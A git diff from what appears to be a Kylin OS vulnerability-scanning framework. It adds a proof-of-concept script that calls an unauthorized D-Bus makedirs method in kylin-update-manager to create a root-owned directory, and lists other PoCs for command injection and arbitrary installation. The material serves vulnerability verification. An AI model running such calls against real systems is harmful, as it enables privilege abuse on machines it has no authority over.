diff --git a/__pycache__/checkKernel.cpython-38.pyc b/__pycache__/checkKernel.cpython-38.pyc index 89cb6a281ab7bb954fc45ba7d1661d5945bbd804..7c880b99f29f28b6eddaffad3902b69d467541f5 100644 Binary files a/__pycache__/checkKernel.cpython-38.pyc and b/__pycache__/checkKernel.cpython-38.pyc differ diff --git a/__pycache__/settings.cpython-38.pyc b/__pycache__/settings.cpython-38.pyc index 672483a1f7afeab1f2d3b9707030e01b22b26600..a0a8449232b7d6fd88e444ce738a237ce60eb4a1 100644 Binary files a/__pycache__/settings.cpython-38.pyc and b/__pycache__/settings.cpython-38.pyc differ diff --git a/__pycache__/utils.cpython-38.pyc b/__pycache__/utils.cpython-38.pyc index 97ab412bf177b1aba0f320d3efa13d5e2353b13b..9e895345ef03fed726b6ffeb073ac6c06f6c7588 100644 Binary files a/__pycache__/utils.cpython-38.pyc and b/__pycache__/utils.cpython-38.pyc differ diff --git a/config.yaml b/config.yaml index eaecca3c68bb4e1d4055cbbedc96c79ea81e1ebe..c74752e9ebe427bff59b9ff3e480fcf77307fba7 100644 --- a/config.yaml +++ b/config.yaml @@ -6,4 +6,4 @@ PoC: TIMEOUT: 5000 USERNAME: root ScanRule: - Normal: kp_2022_0001,kp_2022_0002,kp_2022_0003,kp_2022_0004,kp_2022_0005,kp_2022_0007,kp_2022_0008,kp_2022_0009,kp_2022_0010,kp_2022_0011,kp_2022_0012,kp_2022_0013 + Normal: kp_2022_0001,kp_2022_0002,kp_2022_0003,kp_2022_0004,kp_2022_0005,kp_2022_0007,kp_2022_0008,kp_2022_0009,kp_2022_0010,kp_2022_0011,kp_2022_0012,kp_2022_0013,kp_2022_0014,kp_2022_0015 diff --git a/core/__pycache__/PocManager.cpython-38.pyc b/core/__pycache__/PocManager.cpython-38.pyc index 3e68ab8e99bce55521f1ede6fe2602b56fbb26da..7431d24de12de999adb481dcf60bc8a0372cec9f 100644 Binary files a/core/__pycache__/PocManager.cpython-38.pyc and b/core/__pycache__/PocManager.cpython-38.pyc differ diff --git a/core/__pycache__/RunPoc.cpython-38.pyc b/core/__pycache__/RunPoc.cpython-38.pyc index 3b761679b76aa7cba1e21e8b2b8db631253843e9..fc9957b2d150ad32a1b4d09846ccd76b536540ad 100644 Binary files a/core/__pycache__/RunPoc.cpython-38.pyc and b/core/__pycache__/RunPoc.cpython-38.pyc differ diff --git a/lib/__pycache__/creat_vuln_detail.cpython-38.pyc b/lib/__pycache__/creat_vuln_detail.cpython-38.pyc index 978a51a556c2fe2e4c752088821828d0ec63fd26..d372a3e7b426ab9d1128c46fafb5f9b56dc571f7 100644 Binary files a/lib/__pycache__/creat_vuln_detail.cpython-38.pyc and b/lib/__pycache__/creat_vuln_detail.cpython-38.pyc differ diff --git a/lib/__pycache__/log.cpython-38.pyc b/lib/__pycache__/log.cpython-38.pyc index 3db4a2ebf6f337892dace6ba8aba4fd509bef2b8..cebad87660756202cd83ebd9f391550e7804e2b3 100644 Binary files a/lib/__pycache__/log.cpython-38.pyc and b/lib/__pycache__/log.cpython-38.pyc differ diff --git a/lib/__pycache__/report.cpython-38.pyc b/lib/__pycache__/report.cpython-38.pyc index 3ac00ce30f73de7b3f404dc104d7050bd555876a..b41596f32284d9b18002d91ebbd7bd9b2c636581 100644 Binary files a/lib/__pycache__/report.cpython-38.pyc and b/lib/__pycache__/report.cpython-38.pyc differ diff --git a/lib/core/__pycache__/basic.cpython-38.pyc b/lib/core/__pycache__/basic.cpython-38.pyc index 37d5884723150d5271d02d3a992196026ed59de2..e2ac7c77018f932309e2b2499f09df3d727a84b2 100644 Binary files a/lib/core/__pycache__/basic.cpython-38.pyc and b/lib/core/__pycache__/basic.cpython-38.pyc differ diff --git a/lib/core/__pycache__/cmdparser.cpython-38.pyc b/lib/core/__pycache__/cmdparser.cpython-38.pyc index be066b774a45665a7b38c59d7e39d1c3ebe0b36d..c8b41723edafbdf57151c8bdba6371dfec464c68 100644 Binary files a/lib/core/__pycache__/cmdparser.cpython-38.pyc and b/lib/core/__pycache__/cmdparser.cpython-38.pyc differ diff --git a/lib/core/__pycache__/config.cpython-38.pyc b/lib/core/__pycache__/config.cpython-38.pyc index a7e1323e514dd77e897fad26f8bb11e1c3226e08..b97ed3fe657f2425b2d222a933c6c835ed7c4455 100644 Binary files a/lib/core/__pycache__/config.cpython-38.pyc and b/lib/core/__pycache__/config.cpython-38.pyc differ diff --git a/lib/core/__pycache__/datatype.cpython-38.pyc b/lib/core/__pycache__/datatype.cpython-38.pyc index 9f74fa423d201fef42af41bf2f9221541b5fb623..344963a6cffdb2c9f0bed61b264d322f31f6fe33 100644 Binary files a/lib/core/__pycache__/datatype.cpython-38.pyc and b/lib/core/__pycache__/datatype.cpython-38.pyc differ diff --git a/lib/core/__pycache__/db.cpython-38.pyc b/lib/core/__pycache__/db.cpython-38.pyc index 0e6d3284c392112251bb1af731a67d08607489f4..46bbfb5ac8b54e1d757694cda5ff6b81d06ef89b 100644 Binary files a/lib/core/__pycache__/db.cpython-38.pyc and b/lib/core/__pycache__/db.cpython-38.pyc differ diff --git a/lib/core/__pycache__/display.cpython-38.pyc b/lib/core/__pycache__/display.cpython-38.pyc index 86b98ab54de6392e81082e9eb959e7613a926798..8eb08dbae822777d2bde61fe4ff6e4d246a5f68f 100644 Binary files a/lib/core/__pycache__/display.cpython-38.pyc and b/lib/core/__pycache__/display.cpython-38.pyc differ diff --git a/lib/core/__pycache__/encrypt.cpython-38.pyc b/lib/core/__pycache__/encrypt.cpython-38.pyc index 48fb5a5ee674f24837c0b495043ff3c8aea1b3dc..a3fef72a8aee7483b001188fc833a54169a63707 100644 Binary files a/lib/core/__pycache__/encrypt.cpython-38.pyc and b/lib/core/__pycache__/encrypt.cpython-38.pyc differ diff --git a/lib/core/__pycache__/gevent.cpython-38.pyc b/lib/core/__pycache__/gevent.cpython-38.pyc index c992881f896581aceee7f6d8a8966f517bc5dd49..42fdb99c918496dfed625aa757ad4a55290ab55b 100644 Binary files a/lib/core/__pycache__/gevent.cpython-38.pyc and b/lib/core/__pycache__/gevent.cpython-38.pyc differ diff --git a/lib/core/__pycache__/kernelWord.cpython-38.pyc b/lib/core/__pycache__/kernelWord.cpython-38.pyc index 4c70ca9e1e16b22aba208a41d518aae2b238db11..b6e656dd4ee81eed7f803f4be91fff891fcca67d 100644 Binary files a/lib/core/__pycache__/kernelWord.cpython-38.pyc and b/lib/core/__pycache__/kernelWord.cpython-38.pyc differ diff --git a/lib/core/__pycache__/prepare.cpython-38.pyc b/lib/core/__pycache__/prepare.cpython-38.pyc index 224915f7f3a1d6c5fa3f87686a96669776baad7a..d8d5f9239d18306d9b7ffc6b02a63b5f5f2d468b 100644 Binary files a/lib/core/__pycache__/prepare.cpython-38.pyc and b/lib/core/__pycache__/prepare.cpython-38.pyc differ diff --git a/pocs/__pycache__/kp_2022_0001_assistant_systemdaemon_file_write.cpython-38.pyc b/pocs/__pycache__/kp_2022_0001_assistant_systemdaemon_file_write.cpython-38.pyc index 0a61e5087d55ca16cc5e1ae8c807ac6331c6c24f..8c255c374f85fe65961ff3fe59ffa8b63732cb51 100644 Binary files a/pocs/__pycache__/kp_2022_0001_assistant_systemdaemon_file_write.cpython-38.pyc and b/pocs/__pycache__/kp_2022_0001_assistant_systemdaemon_file_write.cpython-38.pyc differ diff --git a/pocs/__pycache__/kp_2022_0002_setmainsource_file_write.cpython-38.pyc b/pocs/__pycache__/kp_2022_0002_setmainsource_file_write.cpython-38.pyc index 1bfa35cb12607fa8c24a7ad0f50030ec037bdec8..49d5106ab6962029058bed33339ac0f587dd0d86 100644 Binary files a/pocs/__pycache__/kp_2022_0002_setmainsource_file_write.cpython-38.pyc and b/pocs/__pycache__/kp_2022_0002_setmainsource_file_write.cpython-38.pyc differ diff --git a/pocs/__pycache__/kp_2022_0003_changedsource_file_write.cpython-38.pyc b/pocs/__pycache__/kp_2022_0003_changedsource_file_write.cpython-38.pyc index d986b8690b20622d6c49dc80ab549e84750b9afa..8001e70ac031aa866c9d07f71db6a0cdf970185d 100644 Binary files a/pocs/__pycache__/kp_2022_0003_changedsource_file_write.cpython-38.pyc and b/pocs/__pycache__/kp_2022_0003_changedsource_file_write.cpython-38.pyc differ diff --git a/pocs/__pycache__/kp_2022_0004_toggleCameraDevice_command_injection.cpython-38.pyc b/pocs/__pycache__/kp_2022_0004_toggleCameraDevice_command_injection.cpython-38.pyc index 079f26f4ab86ff375ef414109f0fb1e21509ee31..7ed45cbbf5a65e80fa57d9b727177b8f5d63fbfa 100644 Binary files a/pocs/__pycache__/kp_2022_0004_toggleCameraDevice_command_injection.cpython-38.pyc and b/pocs/__pycache__/kp_2022_0004_toggleCameraDevice_command_injection.cpython-38.pyc differ diff --git a/pocs/__pycache__/kp_2022_0005_command_injection_com_kylin_softwarecenter_run_app.cpython-38.pyc b/pocs/__pycache__/kp_2022_0005_command_injection_com_kylin_softwarecenter_run_app.cpython-38.pyc index eb707b73cee06da57927beaba7b4e4d8b6265346..ffa885b20e2ff4711c10e5408218df7f74be22d2 100644 Binary files a/pocs/__pycache__/kp_2022_0005_command_injection_com_kylin_softwarecenter_run_app.cpython-38.pyc and b/pocs/__pycache__/kp_2022_0005_command_injection_com_kylin_softwarecenter_run_app.cpython-38.pyc differ diff --git a/pocs/__pycache__/kp_2022_0007_software_center_copy_file_install_move_file.cpython-38.pyc b/pocs/__pycache__/kp_2022_0007_software_center_copy_file_install_move_file.cpython-38.pyc new file mode 100644 index 0000000000000000000000000000000000000000..c29f0b7a69a074b6a23f4aa2a704551ed257976e Binary files /dev/null and b/pocs/__pycache__/kp_2022_0007_software_center_copy_file_install_move_file.cpython-38.pyc differ diff --git a/pocs/__pycache__/kp_2022_0008_kylin_software_center_add_source_ubuntu_kylin_unauth.cpython-38.pyc b/pocs/__pycache__/kp_2022_0008_kylin_software_center_add_source_ubuntu_kylin_unauth.cpython-38.pyc new file mode 100644 index 0000000000000000000000000000000000000000..6b12f08c69f090c8c7e5673a4afa314b93911465 Binary files /dev/null and b/pocs/__pycache__/kp_2022_0008_kylin_software_center_add_source_ubuntu_kylin_unauth.cpython-38.pyc differ diff --git a/pocs/__pycache__/kp_2022_0009_kylin_software_center_add_source_unauth.cpython-38.pyc b/pocs/__pycache__/kp_2022_0009_kylin_software_center_add_source_unauth.cpython-38.pyc new file mode 100644 index 0000000000000000000000000000000000000000..e03ebb72ce76dc18b9347c5154b17e78ef24422c Binary files /dev/null and b/pocs/__pycache__/kp_2022_0009_kylin_software_center_add_source_unauth.cpython-38.pyc differ diff --git a/pocs/__pycache__/kp_2022_0010_kylin_software_center_remove_source_delete.cpython-38.pyc b/pocs/__pycache__/kp_2022_0010_kylin_software_center_remove_source_delete.cpython-38.pyc new file mode 100644 index 0000000000000000000000000000000000000000..b5d0daa11b54c1b95cf670df1bbdf1676f166659 Binary files /dev/null and b/pocs/__pycache__/kp_2022_0010_kylin_software_center_remove_source_delete.cpython-38.pyc differ diff --git a/pocs/__pycache__/kp_2022_0011_kylin_software_center_install_deps.cpython-38.pyc b/pocs/__pycache__/kp_2022_0011_kylin_software_center_install_deps.cpython-38.pyc new file mode 100644 index 0000000000000000000000000000000000000000..e5442b82894d226ef5bd5eaa3f9fe1b76caf8962 Binary files /dev/null and b/pocs/__pycache__/kp_2022_0011_kylin_software_center_install_deps.cpython-38.pyc differ diff --git a/pocs/__pycache__/kp_2022_0012_kylin_software_center_install_debfile.cpython-38.pyc b/pocs/__pycache__/kp_2022_0012_kylin_software_center_install_debfile.cpython-38.pyc new file mode 100644 index 0000000000000000000000000000000000000000..7a3d0de6db1761fafe00d3287f8b8e86c08d72fd Binary files /dev/null and b/pocs/__pycache__/kp_2022_0012_kylin_software_center_install_debfile.cpython-38.pyc differ diff --git a/pocs/__pycache__/kp_2022_0013_kylin_software_center_install_any_software.cpython-38.pyc b/pocs/__pycache__/kp_2022_0013_kylin_software_center_install_any_software.cpython-38.pyc new file mode 100644 index 0000000000000000000000000000000000000000..223908f6d72583c8dd916b24d189e1609b48d896 Binary files /dev/null and b/pocs/__pycache__/kp_2022_0013_kylin_software_center_install_any_software.cpython-38.pyc differ diff --git a/pocs/kp_2022_0015_unauthorized_access_KylinUpdateManager_makedirs.py b/pocs/kp_2022_0015_unauthorized_access_KylinUpdateManager_makedirs.py new file mode 100644 index 0000000000000000000000000000000000000000..5efabdf7178f3290ee67ff0a9f7fabf989e7c63e --- /dev/null +++ b/pocs/kp_2022_0015_unauthorized_access_KylinUpdateManager_makedirs.py @@ -0,0 +1,84 @@ +import subprocess +from utils import highlight,tree,error +from lib.core.basic import BasePoc +import os +import sqlite3 +import dbus +import pwd +import re +import time + +POC_NAME = 'unauthorized_access_KylinUpdateManager_makedirs' + +class unauthorized_access_KylinUpdateManager_makedirs(BasePoc): + poc_info = { + # 尽量添加以下内容 + 'poc': { + 'Id': 'kp_2022_0015', # poc编号,命名规范为kp_2022_0001_*.py + 'kve': 'KVE-2021-0714', # kve id + 'ZenTaoID':'66166', #禅道ID + 'Name': r'kylin-update-manager存在未授权漏洞_创建文件夹', # poc名称 + 'Author': 'luojunyou', # poc作者 + 'Create_date': '2022-04-14', # poc创建时间:如'2014-11-19' + }, + 'vul': { + 'Product': 'KylinUpdateManager', # 漏洞所在产品名称 + 'Version': r'低于kylin-update-manager 5.7.9kord', # 产品的版本号 + 'Type': r'dbus未授权访问', # 漏洞类型 + 'Severity': 'Low', # Bug severity + 'Description': r'kylin-update-manage是UKUI桌面环境的系统更新管理器。 安全应急响应团队发现系统更新管理器的D-Bus服务总线cn.kylinos.KylinUpdateManager:: makedirs接口存在未授权普通用户可创建root权限文件夹漏洞。', # 漏洞介绍 + 'ZenTaoURL':'暂未公开', #禅道链接 + 'DisclosureDate': '2021-07-09', # poc公布时间:如'2014-11-19' + 'RepairSolution':r'目前此漏洞已经完成修复,可根据链接:包的下载地址https://dev.kylinos.cn/kylin-desktop/+source/kylin-update-manager/5.7.9kord 下载已修复的包,或直接使用命令apt upgrade kylin-update-manager完成更新', #修复方案 + } + } + + scan_info = { + 'Target': '', + 'TaskId': '', + 'Mode': 'verify', # verify或exploit, 默认值为verify + 'Verbose': False, # 是否打印详细信息,默认值为False + 'Error': '', # 记录poc失败信息 + 'Success': False, # 是否执行成功,默认值为False表示poc执行不成功,若成功请更新该值为True + 'Ret': tree() # 记录额外的poc相关信息 + } + + test_case = { + 'Need_fb': False, + 'Vuln': [], # 列表格式的测试版本 + 'Not_vuln': [], # 同上 + } + + + def verify(self, first=False): + # 漏洞验证方法(mode=verify) + target = self.scan_info.get("Target", "") # 获取测试目标 + verbose = self.scan_info.get("Verbose", False) # 是否打印详细信息 + flag_str = '' #漏洞成立时的特征字符串 + flag_list = [] #漏洞成立时的特征列表 + # 以下是PoC的检测逻辑 + print('testing if {} vulnerability'.format(self.poc_info["poc"]["Name"])) + FileName = self.get_random_str(8) + flag_str = self.get_random_str(20) + try: + cmd = "gdbus call --system --dest cn.kylinos.KylinUpdateManager --object-path /cn/kylinos/KylinUpdateManager --method cn.kylinos.KylinUpdateManager.makedirs /tmp/{}".format(flag_str) + os.popen(cmd) + time.sleep(2) + if pwd.getpwuid(os.stat('/tmp/'+flag_str).st_uid).pw_name== 'root': + msg = r'本机 ( {} ) 存在 {} (禅道ID : {} ) 。 漏洞描述 : {} '.format(self.scan_info['Target'],self.poc_info["poc"]["Name"],self.poc_info["poc"]["ZenTaoID"],self.poc_info["vul"]["Description"]) + print(msg) + self.scan_info['Success'] = True # 漏洞存在,必须将该字段更新为True(必须) + self.scan_info['Ret']['VerifyInfo']['Target'] = 'localhost' # 记录漏洞相关的一些额外信息(可选) + self.scan_info['Ret']['VerifyInfo']['DATA'] = msg + if verbose: + highlight('[*] {} vul found'.format(self.poc_info["poc"]["Name"])) + self.exec_command_by_root("rm -rf /tmp/{}".format(flag_str)) + except Exception as e: + #print(e) + error('[*] {} vul running error : {}'.format(self.poc_info["poc"]["Name"],str(e))) + + + + def exploit(self, first=False): + # 漏洞利用方法(mode=verify) + self.verify(first=first)